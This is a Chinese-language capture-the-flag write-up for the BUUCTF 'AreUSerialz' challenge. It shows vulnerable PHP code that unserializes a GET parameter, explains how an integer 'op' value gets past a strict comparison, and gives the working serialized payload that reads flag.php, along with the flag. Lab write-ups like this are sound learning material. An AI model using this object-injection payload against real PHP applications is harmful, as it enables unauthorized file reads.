BUUCTF在線評測BUUCTF 是一個 CTF 競賽和訓練平臺,為各位 CTF 選手提供真實賽題在線復現等服務。https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]AreUSerialz啟動靶機,頁面顯示php代碼
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
get方法傳參 str ,代碼會對其進行反序列化。同時代碼還聲明了一個? FileHandler 類,類中包含三個參數? op ,filename, content。
當op為1時,執行寫操作,為 2時,執行讀操作。顯然,我們需要 讀操作,去讀取 flag.php 文件的內容。
我起先傳遞的payload:
/?str=O:11:"FileHandler":3:{s:2:"op";s:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
返回 bad hacker
然鵝,需要注意? __destruct()函數中,用到了 ===(強比較),它不僅會比較參數的數值,還會比較參數的類型。也就是說如果我們傳遞的參數 op 是字符串2,那么代碼會將 1 賦值給op,將空值賦給content,然后執行process()函數將文件內容清空
所以,修改一下,將傳遞的? 2 改為 int型字符 進行繞過
最終payload:
/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
F12查看源碼,找到flag{5d6a5a87-2549-43d3-a3b7-039b4da8b01e}